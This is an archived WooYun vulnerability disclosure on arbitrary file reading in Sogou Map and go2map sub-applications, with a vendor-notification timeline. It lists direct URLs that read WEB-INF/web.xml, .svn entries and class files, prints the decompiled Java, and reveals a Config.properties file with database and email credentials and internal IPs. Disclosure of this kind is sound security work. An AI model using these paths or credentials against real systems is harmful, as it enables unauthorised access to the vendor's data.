当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-07760

漏洞标题:sogou map及其多个子应用任意文件读取

相关厂商:搜狗

漏洞作者: shine

提交时间:2012-05-31 23:45

修复时间:2012-07-15 23:46

公开时间:2012-07-15 23:46

漏洞类型:任意文件遍历/下载

危害等级:低

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-05-31: 细节已通知厂商并且等待厂商处理中
2012-06-04: 厂商已经确认,细节仅向厂商公开
2012-06-14: 细节向核心白帽子及相关领域专家公开
2012-06-24: 细节向普通白帽子公开
2012-07-04: 细节向实习白帽子公开
2012-07-15: 细节向公众公开

简要描述:

应用容器池边界(容器目录)配置混乱,导致任意文件读取等问题!

详细说明:

首先附带一些敏感信息暴露及目录遍历等小问题:

http://map.sogou.com/lushu/swf/.svn/entries
http://map.sogou.com/shouji/.svn/entries
http://map.sogou.com/lushu/swf/
http://map.sogou.com/lushu/swf/upload.swf


漏洞证明:


首先,读取主应用web.xml文件,导致大结构暴露:
http://map.sogou.com/WEB-INF/web.xml


<?xml version="1.0" encoding="GB2312" ?> 
- <web-app>
- <context-param>
<param-name>ClassLibUrl</param-name>
<param-value>http://lib.go2map.com/cl</param-value>
<description>引用类库地址</description>
</context-param>
- <context-param>
<param-name>DefaultEngineUrl</param-name>
<param-value>http://lspengine.go2map.com/WebSite/Engine</param-value>
<description>LSP引擎地址</description>
</context-param>
- <context-param>
<param-name>LSPEngineUrl</param-name>
<param-value>http://lspengine.go2map.com/WebSite/Engine</param-value>
<description>LSP引擎地址</description>
</context-param>
- <context-param>
<param-name>LocalSearchEngineUrl</param-name>
<param-value>http://localsearch.go2map.com/LocalWeb/Engine</param-value>
<description>LocalSearchEngineUrl引擎地址</description>
</context-param>
- <context-param>
<param-name>MapDataRoot</param-name>
<param-value>http://pics.go2map.com/lsp</param-value>
<description>地图数据根目录http://pics.go2map.com/lsp</description>
</context-param>
- <context-param>
<param-name>VmpDataRoot</param-name>
<param-value>http://pics.go2map.com/lsp</param-value>
<description>VMP数据根目录http://pics.go2map.com/lsp</description>
</context-param>
- <context-param>
<param-name>DetailInfoUrl</param-name>
<param-value>http://key.go2map.com/detail/index.jsp</param-value>
<description>查询结果详细信息的联接</description>
</context-param>
- <context-param>
<param-name>WeatherInfoUrl</param-name>
<param-value>http://www.go2map.com/sogou/index.shtml</param-value>
<description>天气预报的URL</description>
</context-param>
- <context-param>
<param-name>APPID</param-name>
<param-value>1361</param-value>
<description>默认APPID</description>
</context-param>
- <context-param>
<param-name>CHNID</param-name>
<param-value>1361</param-value>
<description>中国APPID</description>
</context-param>
- <context-param>
<param-name>BJID</param-name>
<param-value>1147</param-value>
<description>北京APPID</description>
</context-param>
- <context-param>
<param-name>MapImageType</param-name>
<param-value>GIF</param-value>
<description>地图数据图片的类型gif|jpg|png</description>
</context-param>
- <context-param>
<param-name>SPInfo</param-name>
<param-value>1,1</param-value>
<description>默认SP信息</description>
</context-param>
- <context-param>
<param-name>UserInfo</param-name>
<param-value>,,</param-value>
<description>默认用户信息</description>
</context-param>
- <context-param>
<param-name>DetailSize</param-name>
<param-value>251,142</param-value>
<description>查询结果详细信息框尺寸</description>
</context-param>
- <context-param>
<param-name>StyleLibraryRoot</param-name>
<param-value>lib/style/</param-value>
<description>样式库的根目录(必须以“/”开始)</description>
</context-param>
- <context-param>
<param-name>BusTransferGst</param-name>
<param-value>北京,上海,广州,深圳,天津,重庆,大连,南京,武汉,西安,郑州,宁波,沈阳,长春,福州,石家庄,长沙,成都,哈尔滨,杭州,济南,苏州</param-value>
<description>用户指定的提供公交换乘的地图集</description>
</context-param>
- <context-param>
<param-name>RoutingGst</param-name>
<param-value>中国,北京,上海,广州,深圳,天津,重庆,大连,南京,武汉,西安,厦门,郑州,宁波,沈阳,长春,福州,石家庄,长沙,成都,哈尔滨,杭州,济南,昆明</param-value>
<description>用户指定的提供行车路线的地图集</description>
</context-param>
- <context-param>
<param-name>APPList</param-name>
<param-value>["中国","1361"],["北京","1147"],["上海","1149"],["广州","1166"],["深圳","1154"],["天津","1150"],["重庆","1151"],["大连","1152"],["南京","1153"],["武汉","1155"],["西安","1156"],["厦门","1157"],["郑州","1158"],["宁波","1159"],["沈阳","1160"],["长春","1161"],["福州","1162"],["石家庄","1163"],["长沙","1164"],["成都","1165"],["哈尔滨","1167"],["杭州","1168"],["济南","1169"],["昆明","1170"],["苏州","1171"],["沧州","1363"]</param-value>
<description>用户指定的地图集列表</description>
</context-param>
- <context-param>
<param-name>CHNRadius</param-name>
<param-value>["最近","FindNearest"],["10公里内","10000"],["50公里内","50000"],["100公里内","100000"],["200公里内","200000"]</param-value>
<description>中国视野</description>
</context-param>
- <context-param>
<param-name>CityRadius</param-name>
<param-value>["最近","FindNearest"],["100米内","100"],["200米内","200"],["500米内","500"],["1000米内","1000"]</param-value>
<description>城市视野</description>
</context-param>
</web-app>



问题比较多,且问题基本相同,选取其中几个简单说明一下:
读取其中一个子应用web.xml文件:
http://www.go2map.com/WEB-INF/web.xml


<?xml version="1.0" encoding="UTF-8" ?> 
- <web-app version="2.4" xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">
- <servlet>
<servlet-name>ReloadConfig</servlet-name>
<servlet-class>com.go2map.ReloadConfig</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
- <servlet-mapping>
<servlet-name>ReloadConfig</servlet-name>
<url-pattern>/reloadConfig.jsp</url-pattern>
</servlet-mapping>
- <servlet>
<servlet-name>reloadGo2map</servlet-name>
<servlet-class>com.go2map.ReloadGo2mapConfig</servlet-class>
</servlet>
- <servlet-mapping>
<servlet-name>reloadGo2map</servlet-name>
<url-pattern>/reloadGo2map.do</url-pattern>
</servlet-mapping>
- <welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>


两个类的反编译文件(貌似是做应用更新配置的,没仔细去看):
ReloadConfig.java

package com.go2map;
import java.io.IOException;
import java.io.PrintStream;
import java.util.Date;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class ReloadConfig extends HttpServlet
{
public void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
ConfigManager instance = ConfigManager.getInstance();
String reloadKey = request.getParameter("reloadKey");
if (instance.getReloadKey().equals(reloadKey)) {
String str1 = instance.reloadBaseConfig();
if (str1.endsWith("")) {
str1 = "successful";
}
String str2 = instance.reloadUserConfig();
if (str2.endsWith("")) {
str2 = "successful";
}
String msg = "reloadBaseConfig: " + str1 + "\nreloadUserConfig: " + str2;
response.getOutputStream().write(msg.getBytes("gbk"));
} else {
response.getOutputStream().write("invalide reload key".getBytes("gbk"));
}
}
public void init() throws ServletException {
super.init();
ConfigManager.init(getServletContext());
System.out.println("ReloadConfig init:" + new Date());
}
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doGet(request, response);
}
}


ReloadGo2mapConfig.java

package com.go2map;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.PrintStream;
import java.net.Socket;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class ReloadGo2mapConfig extends HttpServlet
{
public static String doUpdate(String reloadKey)
{
if (reloadKey == null)
reloadKey = "";
String[] ips = { "10.11.159.49", "10.11.159.50" };
String http = "GET /home/reloadConfig.jsp?reloadKey=" +
reloadKey +
"&t=" +
System.currentTimeMillis() +
" HTTP/1.1\r\n" +
"Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n" +
"Accept-Language: zh-cn\r\n" +
"User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322)\r\n" +
"Accept-Encoding: gzip, deflate\r\n" + "Host: map.sogou.com\r\n" + "Connection: Keep-Alive\r\n\r\n";
StringBuffer sb = new StringBuffer();
try {
for (String ip : ips) {
Socket socket = new Socket(ip, 8080);
InputStream in = socket.getInputStream();
InputStreamReader reader = new InputStreamReader(in, "gbk");
OutputStream os = socket.getOutputStream();
System.out.println(http);
os.write(http.getBytes());
sb.append("*********" + ip + "***********\n");
int c;
while ((c = reader.read()) != -1)
{
int c;
sb.append((char)c);
}
sb.append("\n");
os.close();
in.close();
reader.close();
socket.close();
}
}
catch (Exception e) {
e.printStackTrace();
}
return sb.toString();
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String reloadKey = request.getParameter("reloadKey");
String res = "<pre>" + doUpdate(reloadKey) + "</pre>";
response.setCharacterEncoding("gbk");
response.setContentType("text/html");
OutputStream os = response.getOutputStream();
os.write(res.getBytes());
os.close();
}
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doGet(request, response);
}
}


已另外一个子应用为重点,因为没有使用j2ee MVC框架(功能简洁,也不需要),只能一个个读取servlet,来遍历所有类文件:
同样读取web.xml
http://key.go2map.com/detail/WEB-INF/web.xml


<?xml version="1.0" encoding="UTF-8" ?> 
<!DOCTYPE web-app (View Source for full doctype...)>
- <web-app>
- <filter>
<filter-name>Set Character Encoding</filter-name>
<filter-class>com.mapsky.transaction.filters.SetCharacterEncodingFilter</filter-class>
- <init-param>
<param-name>encoding</param-name>
<param-value>GBK</param-value>
</init-param>
</filter>
- <filter-mapping>
<filter-name>Set Character Encoding</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
- <servlet>
<servlet-name>LocalSendMail</servlet-name>
<servlet-class>com.mapsky.transaction.local.LocalSendMail</servlet-class>
</servlet>
- <servlet-mapping>
<servlet-name>LocalSendMail</servlet-name>
<url-pattern>*.mail</url-pattern>
</servlet-mapping>
- <servlet>
<servlet-name>DownLoad</servlet-name>
<servlet-class>com.mapsky.transaction.custom.DownLoad</servlet-class>
</servlet>
- <servlet-mapping>
<servlet-name>DownLoad</servlet-name>
<url-pattern>/custom/download.doc</url-pattern>
</servlet-mapping>
- <servlet>
<servlet-name>CreateImage</servlet-name>
<servlet-class>com.mapsky.transaction.login.AuthenCodeImage</servlet-class>
</servlet>
- <servlet-mapping>
<servlet-name>CreateImage</servlet-name>
<url-pattern>*.image</url-pattern>
</servlet-mapping>
- <servlet>
<servlet-name>LoginMyMap</servlet-name>
<servlet-class>com.mapsky.transaction.mymap.LoginServlet</servlet-class>
</servlet>
- <servlet-mapping>
<servlet-name>LoginMyMap</servlet-name>
<url-pattern>/portal.do</url-pattern>
</servlet-mapping>
- <servlet>
<servlet-name>ConfirmMyMap</servlet-name>
<servlet-class>com.mapsky.transaction.mymap.ConfirmServlet</servlet-class>
</servlet>
- <servlet-mapping>
<servlet-name>ConfirmMyMap</servlet-name>
<url-pattern>/confirm.do</url-pattern>
</servlet-mapping>
- <servlet>
<servlet-name>PreviewMyMap</servlet-name>
<servlet-class>com.mapsky.transaction.mymap.PreviewServlet</servlet-class>
</servlet>
- <servlet-mapping>
<servlet-name>PreviewMyMap</servlet-name>
<url-pattern>/preview.do</url-pattern>
</servlet-mapping>
- <session-config>
<session-timeout>30</session-timeout>
</session-config>
- <resource-ref>
<description>Oracle DataSource example</description>
<res-ref-name>jdbc/oracle</res-ref-name>
<res-type>javax.sql.DataSource</res-type>
<res-auth>Container</res-auth>
</resource-ref>
- <resource-ref>
<description>Oracle DataSource example</description>
<res-ref-name>jdbc/sms</res-ref-name>
<res-type>javax.sql.DataSource</res-type>
<res-auth>Container</res-auth>
</resource-ref>
- <resource-ref>
<description>Oracle DataSource example</description>
<res-ref-name>jdbc/oradetail</res-ref-name>
<res-type>javax.sql.DataSource</res-type>
<res-auth>Container</res-auth>
</resource-ref>
</web-app>


读取LocalSendMail.class反编译:
http://key.go2map.com/detail/WEB-INF/classes/com/mapsky/transaction/local/LocalSendMail.class

package com.mapsky.transaction.local;
import com.mapsky.transaction.DBConnection;
import java.io.IOException;
import java.io.PrintStream;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class LocalSendMail extends HttpServlet
{
private boolean isException = false;
private static DBConnection db_;
private static final String CONTENT_TYPE = "text/html; charset=GBK";
public void init()
throws ServletException
{
db_ = new DBConnection();
}
private static String toHTMLString(String s)
{
StringBuffer stringbuffer = new StringBuffer(s.length());
for (int i = 0; i < s.length(); i++) {
String s1 = s.substring(i, i + 1);
String s2 = s1;
switch (s1.charAt(0)) {
case '"':
s2 = "&quot;";
break;
case '&':
s2 = "&amp;";
break;
case '<':
s2 = "&lt;";
break;
case '>':
s2 = "&gt;";
}
stringbuffer.append(s2);
}
return stringbuffer.toString();
}
public void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
doExcute(request, response);
}
public void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
doExcute(request, response);
}
private int getMaxRecID(String sequence)
throws Exception
{
int retValue = -1;
Connection conn = null;
try {
this.isException = false;
conn = db_.getConnection();
StringBuffer sql = new StringBuffer(200);
sql.append("select ");
sql.append(sequence);
sql.append(" from dual ");
PreparedStatement ps = conn.prepareStatement(sql.toString());
ps.executeQuery();
ResultSet rs = ps.getResultSet();
rs.next();
retValue = rs.getInt(1);
} catch (Exception e) {
this.isException = true;
System.out.println("getMaxRecID Method Exception " + e);
} finally {
if (conn != null) {
conn.close();
conn = null;
}
}
if (this.isException) {
throw new Exception();
}
return retValue;
}
public void sendMail(String from, String message, String ip)
throws Exception
{
Connection conn = null;
try {
this.isException = false;
StringBuffer sql = new StringBuffer(200);
int id = getMaxRecID("seq_local_mail.nextval");
sql.append("insert into tbl_local_mail values(");
sql.append("?,?,?,sysdate,?");
sql.append(")");
conn = db_.getConnection();
PreparedStatement ps = conn.prepareStatement(sql.toString());
ps.setInt(1, id);
ps.setString(2, from);
ps.setString(3, toHTMLString(message));
ps.setString(4, ip);
ps.executeUpdate();
} catch (Exception e) {
this.isException = true;
System.out.println("sendMail Method Exception " + e);
} finally {
if (conn != null) {
conn.close();
conn = null;
}
}
}
private void doExcute(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
response.reset();
response.setContentType("text/html; charset=GBK");
String from = request.getParameter("from");
String message = request.getParameter("content");
String okurl = request.getParameter("okurl");
String failurl = request.getParameter("failurl");
String ip = request.getRemoteAddr();
try
{
sendMail(from, message, ip);
response.sendRedirect(okurl);
} catch (Exception e) {
this.isException = true;
}
if (this.isException)
response.sendRedirect(failurl);
}
public void destroy()
{
}
}


发现关联的数据连接池DBConnection类:
读取并反编译:
http://key.go2map.com/detail/WEB-INF/classes/com/mapsky/transaction/DBConnection.class

package com.mapsky.transaction;
import com.mapsky.transaction.common.SystemConfig;
import java.sql.Connection;
import java.sql.DriverManager;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.sql.DataSource;
public class DBConnection
{
private static DataSource ds = null;
public synchronized Connection getConnection()
throws Exception
{
Connection conn = null;
try {
if (ds == null) {
Context initCtx = new InitialContext();
if (initCtx == null) {
throw new Exception("create InitialContext Object Failure");
}
Context ctx = (Context)initCtx.lookup("java:comp/env");
ds = (DataSource)ctx.lookup(SystemConfig.getString("ds.env.name"));
if (ds == null) {
throw new Exception("DataSource NULL");
}
}
conn = ds.getConnection();
} catch (Exception ex) {
ex.printStackTrace();
throw new Exception("getConnection Method Exception: " + ex);
}
return conn;
}
public Connection getConn()
throws Exception
{
Connection conn = null;
try {
Class.forName(SystemConfig.getString("db.driver"));
conn = DriverManager.getConnection(SystemConfig.getString("db.url"), SystemConfig.getString("db.user"), SystemConfig.getString("db.password"));
}
catch (Exception ex)
{
ex.printStackTrace();
throw new Exception("getConn Method Exception: " + ex);
}
return conn;
}
}


发现不是使用xml文件作为配置文件,所以继续读取SystemConfig这个类并反编译,获得数据库配置解析文件类型:
http://key.go2map.com/detail/WEB-INF/classes/com/mapsky/transaction/common/SystemConfig.class

package com.mapsky.transaction.common;
import java.util.ResourceBundle;
public class SystemConfig
{
private static ResourceBundle res = ResourceBundle.getBundle("Config");
public static String getString(String str)
{
return res.getString(str);
}
}


原来使用的是.properties属性文件作为配置文件,这样轻松就裁解了它的路径:
http://key.go2map.com/detail/WEB-INF/classes/Config.properties

#=========================================================#
# 配置文件 #
#=========================================================#
#
# 数据库启动程序
#
db.driver=oracle.jdbc.driver.OracleDriver
#
# 数据库URL
#
db.url=jdbc:oracle:thin:@192.168.93.20:1521:web
#
# 数据库用户名
#
db.user=mapsky
#
# 数据库用户密码
#
db.password=mapsky
#
# 数据库连接池
#
ds.env.name=jdbc/oracle
ds.env.name.detail=jdbc/oradetail
#
# Email 用户
#
email.user=member
#
# Email 用户密码
#
email.password=aaaaaa
#
# Email Host
#
email.host=202.108.43.9
#
# Email From
#
email.from=member@go2map.com
#
# Email Subject
#
email.subject=find Password
#
# Email message
#
email.message=your password :
#
# 商户编号
#
mapsky.merno=444
#
# 收货人姓名
#
mapsky.rcvname=444
#
# 收货人地址
#
mapsky.rcvaddr=beijing
#
# 收货人电话
#
mapsky.rcvtel=83489143
#
# 收货人邮编
#
mapsky.rcvpost=100031
#
# 返回商户页面地址
#
mapsky.tarurl=http://www.go2map.com/payment/accOrder.jsp
#
# 验证签名Key
#
mapsky.key=D:/Public1024.key
#
# 输出图像大小
#
img.width=600


类似的问题,其他应用应该很多的!

修复方案:

好歹也是个搜索引擎,安全方面多重视一下啊!

版权声明:转载请注明来源 shine@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2012-06-04 14:22

厂商回复:

感谢提交, 正在安排修复中

最新状态:

暂无